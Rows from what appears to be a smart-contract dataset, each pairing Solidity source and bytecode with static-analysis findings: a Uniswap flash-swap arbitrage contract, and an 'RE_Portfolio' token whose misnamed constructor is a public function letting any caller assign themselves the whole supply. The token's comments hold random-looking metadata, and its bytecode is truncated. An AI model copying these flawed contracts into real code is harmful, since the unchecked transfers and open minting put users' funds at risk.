uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
contract FlashLoaner {
address immutable factory;
uint constant deadline = 10 days;
IUniswapV2Router02 immutable sushiRouter;
constructor(address _factory, address _uniRouter, address _sushiRouter) public {
factory = _factory;
sushiRouter = IUniswapV2Router02(_sushiRouter);
}
function uniswapV2Call(address _sender, uint _amount0, uint _amount1, bytes calldata _data) external {
address[] memory path = new address[](2);
uint amountToken = _amount0 == 0 ? _amount1 : _amount0;
address token0 = IUniswapV2Pair(msg.sender).token0();
address token1 = IUniswapV2Pair(msg.sender).token1();
require(msg.sender == UniswapV2Library.pairFor(factory, token0, token1), "Unauthorized");
require(_amount0 == 0 || _amount1 == 0);
path[0] = _amount0 == 0 ? token1 : token0;
path[1] = _amount0 == 0 ? token0 : token1;
IERC20 token = IERC20(_amount0 == 0 ? token1 : token0);
token.approve(address(sushiRouter), amountToken);
// no need for require() check, if amount required is not sent sushiRouter will revert
uint amountRequired = UniswapV2Library.getAmountsIn(factory, amountToken, path)[0];
uint amountReceived = sushiRouter.swapExactTokensForTokens(amountToken, amountRequired, path, msg.sender, deadline)[1];
// YEAHH PROFIT
token.transfer(_sender, amountReceived - amountRequired);
}
}
|
0x608060405234801561001057600080fd5b506004361061002b5760003560e01c806310d1e85c14610030575b600080fd5b6100db6004803603608081101561004657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019064010000000081111561009757600080fd5b8201836020820111156100a957600080fd5b803590602001918460018302840111640100000000831117156100cb57600080fd5b90919293919293905050506100dd565b005b6060600267ffffffffffffffff811180156100f757600080fd5b506040519080825280602002602001820160405280156101265781602001602082028036833780820191505090505b5090506000808614610138578561013a565b845b905060003373ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b15801561018457600080fd5b505afa158015610198573d6000803e3d6000fd5b505050506040513d60208110156101ae57600080fd5b8101908080519060200190929190505050905060003373ffffffffffffffffffffffffffffffffffffffff1663d21220a76040518163ffffffff1660e01b815260040160206040518083038186803b15801561020957600080fd5b505afa15801561021d573d6000803e3d6000fd5b505050506040513d602081101561023357600080fd5b810190808051906020019092919050505090506102717f0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f83836107d3565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610311576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f556e617574686f72697a6564000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008814806103205750600087145b61032957600080fd5b600088146103375781610339565b805b8460008151811061034657fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000881461038e5780610390565b815b8460018151811061039d57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060008089146103e657826103e8565b815b90508073ffffffffffffffffffffffffffffffffffffffff1663095ea7b37f000000000000000000000000d9e1ce17f2641f24ae83637ab66a2cca9c378b9f866040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561049157600080fd5b505af11580156104a5573d6000803e3d6000fd5b505050506040513d60208110156104bb57600080fd5b81019080805190602001909291905050505060006104fa7f0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f868861092e565b60008151811061050657fe5b6020026020010151905060007f000000000000000000000000d9e1ce17f2641f24ae83637ab66a2cca9c378b9f73ffffffffffffffffffffffffffffffffffffffff166338ed173987848a33620d2f006040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156105ec5780820151818401526020810190506105d1565b505050509050019650505050505050600060405180830381600087803b15801561061557600080fd5b505af1158015610629573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250602081101561065357600080fd5b810190808051604051939291908464010000000082111561067357600080fd5b8382019150602082018581111561068957600080fd5b82518660208202830111640100000000821117156106a657600080fd5b8083526020830192505050908051906020019060200280838360005b838110156106dd5780820151818401526020810190506106c2565b505050509050016040525050506001815181106106f657fe5b602002602001015190508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8d8484036040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561078957600080fd5b505af115801561079d573d6000803e3d6000fd5b505050506040513d60208110156107b357600080fd5b810190808051906020019092919050505050505050505050505050505050565b60008060006107e28585610aae565b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f815250602001925050506040516020818303038152906040528051906020012060001c925050509392505050565b60606002825110156109a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f556e697377617056324c6962726172793a20494e56414c49445f50415448000081525060200191505060405180910390fd5b815167ffffffffffffffff811180156109c057600080fd5b506040519080825280602002602001820160405280156109ef5781602001602082028036833780820191505090505b5090508281600183510381518110610a0357fe5b6020026020010181815250506000600183510390505b6000811115610aa657600080610a5987866001860381518110610a3857fe5b6020026020010151878681518110610a4c57fe5b6020026020010151610c25565b91509150610a7b848481518110610a6c57fe5b60200260200101518383610d4e565b846001850381518110610a8a57fe5b6020026020010181815250505050808060019003915050610a19565b509392505050565b6000808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415610b36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180610f1d6025913960400191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1610610b70578284610b73565b83835b8092508193505050600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c1e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f556e697377617056324c6962726172793a205a45524f5f41444452455353000081525060200191505060405180910390fd5b9250929050565b6000806000610c348585610aae565b509050600080610c458888886107d3565b73ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015610c8a57600080fd5b505afa158015610c9e573d6000803e3d6000fd5b505050506040513d6060811015610cb457600080fd5b81019080805190602001909291908051906020019092919080519060200190929190505050506dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff1691508273ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614610d38578082610d3b565b81815b8095508196505050505050935093915050565b6000808411610da8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180610ef1602c913960400191505060405180910390fd5b600083118015610db85750600082115b610e0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180610f426028913960400191505060405180910390fd5b6000610e366103e8610e288787610e8b90919063ffffffff16565b610e8b90919063ffffffff16565b90506000610e616103e5610e538887610ebf90919063ffffffff16565b610e8b90919063ffffffff16565b9050610e806001828481610e7157fe5b04610ed690919063ffffffff16565b925050509392505050565b600080831415610e9e5760009050610eb9565b818302905081838281610ead57fe5b0414610eb557fe5b8090505b92915050565b600082821115610ecb57fe5b818303905092915050565b6000818301905082811015610ee757fe5b8090509291505056fe556e697377617056324c6962726172793a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056324c6962726172793a204944454e544943414c5f414444524553534553556e697377617056324c6962726172793a20494e53554646494349454e545f4c4951554944495459a2646970667358221220bed0b8e85343f3fc722db95406bd1f1fa69915d9b0fe93074f79a205224a937564736f6c63430006060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 8,765 |
0xf58a058b0ccb9899f8104ed2db5ff10771d75be4
|
pragma solidity ^0.4.21 ;
contract RE_Portfolio_XX_883 {
mapping (address => uint256) public balanceOf;
string public name = " RE_Portfolio_XX_883 " ;
string public symbol = " RE883XX " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 1401819335116930000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value; // deduct from sender's balance
balanceOf[to] += value; // add to recipient's balance
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
// }
// Programme d'émission - Lignes 1 à 10
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_XX_metadata_line_1_____Trust_International_Insurance_&_Reinsurance_Company_BSC__c__Trust_Re_Am_Am_20250515 >
// < 1BXPW0595SF9QK83Y2IU7l4Dfj45M15NVKNaskZ5EN6UeS4qfNG25218BP82PYng >
// < 1E-018 limites [ 1E-018 ; 17455979,3632816 ] >
// < 0x00000000000000000000000000000000000000000000000000000000680BB7E4 >
// < RE_Portfolio_XX_metadata_line_2_____Trust_International_Insurance_&_Reinsurance_Company_BSC__c__Trust_Re_Am_Am_20250515 >
// < 1ingNjC0JwHS7gaw9aTpab05xlRKQz3E8ujh1G5R3Ug1T6U89P31ae71jgeKGvjk >
// < 1E-018 limites [ 17455979,3632816 ; 54341746,4883302 ] >
// < 0x00000000000000000000000000000000000000000000000680BB7E4143E6EEAC >
// < RE_Portfolio_XX_metadata_line_3_____TT_Club_Mutual_Insurance_Limited_Am_20250515 >
// < 55SDgre763R03433OU853ZDymgB6D26J1ZHIteJ1mAAm7BIRrkFeQzQI7VXds7At >
// < 1E-018 limites [ 54341746,4883302 ; 79055470,0719512 ] >
// < 0x0000000000000000000000000000000000000000000000143E6EEAC1D73514F3 >
// < RE_Portfolio_XX_metadata_line_4_____Tunis_BBm_Societe_Tunisienne_de_Reassurance__Tunis_Re___Tunisia__m_Bp_20250515 >
// < gPryyk021QEC23t3YEeev95461988LE2Lo5EMTZrOW6R2Rw9j4xiwAtAN3Tma6x8 >
// < 1E-018 limites [ 79055470,0719512 ; 107112337,418376 ] >
// < 0x00000000000000000000000000000000000000000000001D73514F327E7076C1 >
// < RE_Portfolio_XX_metadata_line_5_____Tunis_Societe_Tunisienne_de_Reassurance_20250515 >
// < AknNk9EkaiA2B82u0uUVM89p25zXVe9AElkps06Jaex4t0ZvX95L3pg3a8ARwCjG >
// < 1E-018 limites [ 107112337,418376 ; 119668944,053987 ] >
// < 0x000000000000000000000000000000000000000000000027E7076C12C9485339 >
// < RE_Portfolio_XX_metadata_line_6_____UnipolSai_Assicurazioni_SpA_Am_BBB_20250515 >
// < VP9p0Ml8wPAkfA3EYROh3Dt345gKtQO4wt0pvo71sA9zC2npYhJ93f9f3L285XZD >
// < 1E-018 limites [ 119668944,053987 ; 137075938,136415 ] >
// < 0x00000000000000000000000000000000000000000000002C9485339331094A49 >
// < RE_Portfolio_XX_metadata_line_7_____Uniqa_Insurance_Group_Am_20250515 >
// < a3AE039K0t779Og8kc4F01mwGg931XC0UobnjC7sRe10kz1g2F6iK2OH7QkF98sG >
// < 1E-018 limites [ 137075938,136415 ; 175332817,47607 ] >
// < 0x0000000000000000000000000000000000000000000000331094A4941510A7C7 >
// < RE_Portfolio_XX_metadata_line_8_____Uniqa_Insurance_Group_Am_20250515 >
// < tQ7XKXQO68d5c2AQ6y5Zv0fSCOyf33nD71gv614dD9QnZY3EZRk7stpmz966jR35 >
// < 1E-018 limites [ 175332817,47607 ; 189214925,284186 ] >
// < 0x000000000000000000000000000000000000000000000041510A7C7467CF1224 >
// < RE_Portfolio_XX_metadata_line_9_____Unity_Reinsurance_Company_Limited_Bp_20250515 >
// < fPHtj1Y5yp2q4Ak0BTTd87g3253hz4RmZ753FjSG4a57S8v6y3hCSgjrUYAl5O6h >
// < 1E-018 limites [ 189214925,284186 ; 230888000,299187 ] >
// < 0x0000000000000000000000000000000000000000000000467CF1224560332311 >
// < RE_Portfolio_XX_metadata_line_10_____US_Re_Companies_20250515 >
// < VPn79qupSCM2H6xBB7qk5Bn1VdEAn3GT8sjY5iCxCRUvq0mc9376RbO8lD8em4Y7 >
// < 1E-018 limites [ 230888000,299187 ; 242557494,555415 ] >
// < 0x00000000000000000000000000000000000000000000005603323115A5C15F43 >
// Programme d'émission - Lignes 11 à 20
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_XX_metadata_line_11_____Validus_Holdings_Limited_20250515 >
// < qpU50owrp5uj0255k5w1FTHO25mhOtjrA1ujmF87M22wl589sS87DgcrqRF13j4u >
// < 1E-018 limites [ 242557494,555415 ; 269895374,280715 ] >
// < 0x00000000000000000000000000000000000000000000005A5C15F43648B3AA88 >
// < RE_Portfolio_XX_metadata_line_12_____VHV_Allgemeine_Versicherung_AG_A_m_20250515 >
// < Ef83dHS9Kw3XolItU6E2qz3J36deNjdQIwqJ8jP74JoTfWZQES8IV3XeuEZNjSix >
// < 1E-018 limites [ 269895374,280715 ; 314645335,085268 ] >
// < 0x0000000000000000000000000000000000000000000000648B3AA887536EAFF8 >
// < RE_Portfolio_XX_metadata_line_13_____Vibe_Syndicate_Management_Limited_20250515 >
// < 3qi3yaX8otX417xNpMgoNoJKqv9O435OtWkLJAZf6z089BCPFAYDqr4r11yo0SEp >
// < 1E-018 limites [ 314645335,085268 ; 370345979,752079 ] >
// < 0x00000000000000000000000000000000000000000000007536EAFF889F6F204B >
// < RE_Portfolio_XX_metadata_line_14_____Vibe_Syndicate_Management_Limited_20250515 >
// < f0aaSG0GnX0FmxdMz2j3vWWy7Cfw07b0sGcuiDNHmqQaND3d0sm88D5r8FRiyN6B >
// < 1E-018 limites [ 370345979,752079 ; 415432882,292015 ] >
// < 0x000000000000000000000000000000000000000000000089F6F204B9AC2C4799 >
// < RE_Portfolio_XX_metadata_line_15_____Vibe_Syndicate_Management_Limited_20250515 >
// < 07LFpeC7XTQ8nyJzCSSI1IBx4uL55A7fC72GG6W98Xv0EhQYCm8n0z1wPqP4Yb7o >
// < 1E-018 limites [ 415432882,292015 ; 464547414,233616 ] >
// < 0x00000000000000000000000000000000000000000000009AC2C4799AD0EB1BA3 >
// < RE_Portfolio_XX_metadata_line_16_____Vienna_Insurance_Group_AG_Wiener_Versicherung_Ap_20250515 >
// < t20f60vSo13SU5mA6A972y7mlDeUp098D3AOIrslCyZ686oaz3B722H2Crp8BPn9 >
// < 1E-018 limites [ 464547414,233616 ; 504507491,180122 ] >
// < 0x0000000000000000000000000000000000000000000000AD0EB1BA3BBF1958B2 >
// < RE_Portfolio_XX_metadata_line_17_____Vienna_Insurance_Group_AG_Wiener_Versicherung_Ap_20250515 >
// < p98c9D2PPYKELgY5p185UDeojeXs0x37l91pBP2PjY9o81Z325G50Cm89oTDXhg4 >
// < 1E-018 limites [ 504507491,180122 ; 578394547,253117 ] >
// < 0x0000000000000000000000000000000000000000000000BBF1958B2D77800BF9 >
// < RE_Portfolio_XX_metadata_line_18_____Vietnam_BBm_PetroVietnam_Insurance_Corporation__PVI__Bpp_20250515 >
// < U0P3yG4HiJRofgQRN4f7m9E1iF2YU98HM2W3vIuje9HTkRPv1hFe9k6y8iMK3VnZ >
// < 1E-018 limites [ 578394547,253117 ; 606058777,838682 ] >
// < 0x0000000000000000000000000000000000000000000000D77800BF9E1C64500B >
// < RE_Portfolio_XX_metadata_line_19_____W_R_Berkley_Syndicate_Management_Limited_20250515 >
// < 7BX859YYk608E34W2y2Q7686L3L9yEbM41fxvPT3Z8FBLfCeWY76Tc5OPTliXP1S >
// < 1E-018 limites [ 606058777,838682 ; 658462063,040519 ] >
// < 0x0000000000000000000000000000000000000000000000E1C64500BF54BD6154 >
// < RE_Portfolio_XX_metadata_line_20_____W_R_Berkley_Syndicate_Management_Limited_20250515 >
// < fFM1LLTCdN0EfMw2VsXt4mFao8Poy8Uf744m624nLJnThAh1pFkl6wh625Cc334v >
// < 1E-018 limites [ 658462063,040519 ; 697328045,164976 ] >
// < 0x000000000000000000000000000000000000000000000F54BD6154103C662998 >
// Programme d'émission - Lignes 21 à 30
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_XX_metadata_line_21_____Watkins_Syndicate_20250515 >
// < R76T1XsU2Sa9tCKgfvi7dA1UZB9VvL4Moz55h7yXMAFMt68h61mZ6csNuab7Pi7Q >
// < 1E-018 limites [ 697328045,164976 ; 726790798,707558 ] >
// < 0x00000000000000000000000000000000000000000000103C66299810EC02C1B2 >
// < RE_Portfolio_XX_metadata_line_22_____White_Mountains_Insurance_Group_Limited_20250515 >
// < vQT91gs7w10dCb58w7oMTJwPTk0JSBPtFfy81x9cax8tJp9ExNoRLHjrlN8kaPK2 >
// < 1E-018 limites [ 726790798,707558 ; 749819874,592732 ] >
// < 0x0000000000000000000000000000000000000000000010EC02C1B21175465677 >
// < RE_Portfolio_XX_metadata_line_23_____White_Mountains_Re_Group_Limited_20250515 >
// < 9K7n1NYdNNx1u5wcP20QzAHQp8tf79xPVtJ0m9UU45W4t0ogP6X5xvC9t109f2if >
// < 1E-018 limites [ 749819874,592732 ; 780070079,081868 ] >
// < 0x0000000000000000000000000000000000000000000011754656771229947C98 >
// < RE_Portfolio_XX_metadata_line_24_____Willis_Re_20250515 >
// < 7BuEjBPDQQ6pOjOnAQDOfX70T2qCw05uMwRsr55m5j6CWa26QR3JQ83cfaV5XRGa >
// < 1E-018 limites [ 780070079,081868 ; 841937668,853115 ] >
// < 0x000000000000000000000000000000000000000000001229947C98139A56EFD9 >
// < RE_Portfolio_XX_metadata_line_25_____Wisconsin_Reinsurance_Corporation_20250515 >
// < 360rm1902417F0PBeXYG0byJZ82uIH5706LDAUxj5azpNSdOSDFJS5nf0725DB5C >
// < 1E-018 limites [ 841937668,853115 ; 898960342,172433 ] >
// < 0x00000000000000000000000000000000000000000000139A56EFD914EE38A19D >
// < RE_Portfolio_XX_metadata_line_26_____Workers_Compensation_Reinsurance_Assoc_20250515 >
// < 3vtfLRQ02ZlJ0n354Qel18fuE8jhTRKvud2mam6TW8m39481JFqVZD4W4WL2H1Wd >
// < 1E-018 limites [ 898960342,172433 ; 952359715,146174 ] >
// < 0x0000000000000000000000000000000000000000000014EE38A19D162C819BAE >
// < RE_Portfolio_XX_metadata_line_27_____WR_Berkley_Corporation_20250515 >
// < h8395M3gZQwnpRqeKPZKS2Gh93SlA96WrvXxXPpNVlZe1af0Zlw005kAWnk41byA >
// < 1E-018 limites [ 952359715,146174 ; 1002150075,78951 ] >
// < 0x00000000000000000000000000000000000000000000162C819BAE175547AB4E >
// < RE_Portfolio_XX_metadata_line_28_____Wuerttembergische_versicherung_AG_Am_m_20250515 >
// < S5H6sdl9g54fy47aXNk8XoIjGMGiY102k8rPPm4fHw7vAHrH01Qewknm0rzpymo7 >
// < 1E-018 limites [ 1002150075,78951 ; 1025242796,34135 ] >
// < 0x00000000000000000000000000000000000000000000175547AB4E17DEEC5D46 >
// < RE_Portfolio_XX_metadata_line_29_____XL_Bermuda_Limited_A_A2_20250515 >
// < 0Y987jO3Rs7U4dhjV173BC6Q5V30KA28d699A0r47Cvn8K4Y770CrQ8Q8UPVClm6 >
// < 1E-018 limites [ 1025242796,34135 ; 1098510309,58296 ] >
// < 0x0000000000000000000000000000000000000000000017DEEC5D461993A1B7A2 >
// < RE_Portfolio_XX_metadata_line_30_____XL_Group_Plc_20250515 >
// < 810TUXd563gkI86a3B7YQ7GEXY4g7Uk834ZN2K5Ocbm5BUd9clww45pfcDjiAz67 >
// < 1E-018 limites [ 1098510309,58296 ; 1119428835,35238 ] >
// < 0x000000000000000000000000000000000000000000001993A1B7A21A1050DAC3 >
// Programme d'émission - Lignes 31 à 40
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_XX_metadata_line_31_____XL_insurance_company_SE_Ap_20250515 >
// < vNGuW3kv8WNAL54CSN67Lqzl9z2dg6y0U0sBfX1rD3k4Mepp5RsVw7l6MoB983s8 >
// < 1E-018 limites [ 1119428835,35238 ; 1138969919,95358 ] >
// < 0x000000000000000000000000000000000000000000001A1050DAC31A84CA2EEF >
// < RE_Portfolio_XX_metadata_line_32_____XL_London_Market_Limited_20250515 >
// < 3P5voUT3pF4Te862GdLB0VJpHj23PV1C63BV1K3yXY8WusLtF925tQD26G80mHZf >
// < 1E-018 limites [ 1138969919,95358 ; 1173586864,52707 ] >
// < 0x000000000000000000000000000000000000000000001A84CA2EEF1B531F72E8 >
// < RE_Portfolio_XX_metadata_line_33_____XL_Re_20250515 >
// < RNbm1ZLoS9KVLu5VOW8Ug3BER83kZ5Ue5vz1rl03n7zTE6r2DKnATs2F9mkLe1Eb >
// < 1E-018 limites [ 1173586864,52707 ; 1214068413,78663 ] >
// < 0x000000000000000000000000000000000000000000001B531F72E81C44696416 >
// < RE_Portfolio_XX_metadata_line_34_____XL_Re_Limited_m_A2_20250515 >
// < H40s33wAB2ojx52isC26L684sm0oYpEA14016Oy3s099Je8XxsF7UtzRg358VGAK >
// < 1E-018 limites [ 1214068413,78663 ; 1235703534,37391 ] >
// < 0x000000000000000000000000000000000000000000001C446964161CC55DF711 >
// < RE_Portfolio_XX_metadata_line_35_____XL_Reinsurance_20250515 >
// < 7XNH3Vj6d0QA5Tpf41gT76Y506D5f0n4Txv7QEBXoqVZydHVfY85B00PecRlRjsp >
// < 1E-018 limites [ 1235703534,37391 ; 1252742672,52579 ] >
// < 0x000000000000000000000000000000000000000000001CC55DF7111D2AEDA068 >
// < RE_Portfolio_XX_metadata_line_36_____ZEPmRE__PTA_Reinsurance_Company__Bp_20250515 >
// < Tqzmk6D8pnfom0368z5989tVe21cSI2uxE34Dcn26uP1xB2iVB4Uflq842vR5616 >
// < 1E-018 limites [ 1252742672,52579 ; ] >
// < 0x000000000000000000000000000000000000000000001D2AEDA0681EFAA6C21B >
// < RE_Portfolio_XX_metadata_line_37_____Zurich_American_Insurance_Company_Ap_20250515 >
// < 6qY6f82zQeVmj0DFzfbjC9Jg9WRQ4H8xRdM5pp0y7z9ZV34HO8l43f5FjD8JUuOH >
// < 1E-018 limites [ 1330542510,47962 ; 1350126058,04154 ] >
// < 0x000000000000000000000000000000000000000000001EFAA6C21B1F6F60E160 >
// < RE_Portfolio_XX_metadata_line_38_____Zurich_Insurance_Co_Limited_20250515 >
// < 04c4Afib79398Z8R4cYsE6mh81tFa4Y886YDNi23Eia6gGMm9nGfiYMThKKal7n8 >
// < 1E-018 limites [ 1350126058,04154 ; 1365165733,05921 ] >
// < 0x000000000000000000000000000000000000000000001F6F60E1601FC9059A6D >
// < RE_Portfolio_XX_metadata_line_39_____Zurich_Insurance_Co_Limited_AAm_Ap_20250515 >
// < 0kuQKPEPfh1FFo1l4T88DCNhE1fS41b6cC602h61N1yWp5Na30fZ2d7GD91HEN9u >
// < 1E-018 limites [ 1365165733,05921 ; 1388842492,31882 ] >
// < 0x000000000000000000000000000000000000000000001FC9059A6D2056257883 >
// < RE_Portfolio_XX_metadata_line_40_____Zurich_Insurance_plc_AAm_Ap_20250515 >
// < dKDRhqay9Ke447gf6Y1eezTQ25d8rmI6k9lVnWBzbjC7f1zk0YE9MFdUf0pNhj1B >
// < 1E-018 limites [ 1388842492,31882 ; 1401819335,11693 ] >
// < 0x00000000000000000000000000000000000000000000205625788320A37E8FBB >
}
|
0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013757806318160ddd1461019157806323b872dd146101ba578063313ce5671461023357806370a082311461026257806395d89b41146102af578063a9059cbb1461033d578063b5c8f31714610397578063dd62ed3e146103ac575b600080fd5b34156100b457600080fd5b6100bc610418565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fc5780820151818401526020810190506100e1565b50505050905090810190601f1680156101295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014257600080fd5b610177600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506104b6565b604051808215151515815260200191505060405180910390f35b341561019c57600080fd5b6101a46105a8565b6040518082815260200191505060405180910390f35b34156101c557600080fd5b610219600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105ae565b604051808215151515815260200191505060405180910390f35b341561023e57600080fd5b61024661081a565b604051808260ff1660ff16815260200191505060405180910390f35b341561026d57600080fd5b610299600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061082d565b6040518082815260200191505060405180910390f35b34156102ba57600080fd5b6102c2610845565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103025780820151818401526020810190506102e7565b50505050905090810190601f16801561032f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561034857600080fd5b61037d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108e3565b604051808215151515815260200191505060405180910390f35b34156103a257600080fd5b6103aa610a39565b005b34156103b757600080fd5b610402600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ae8565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ae5780601f10610483576101008083540402835291602001916104ae565b820191906000526020600020905b81548152906001019060200180831161049157829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156105fd57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561068857600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600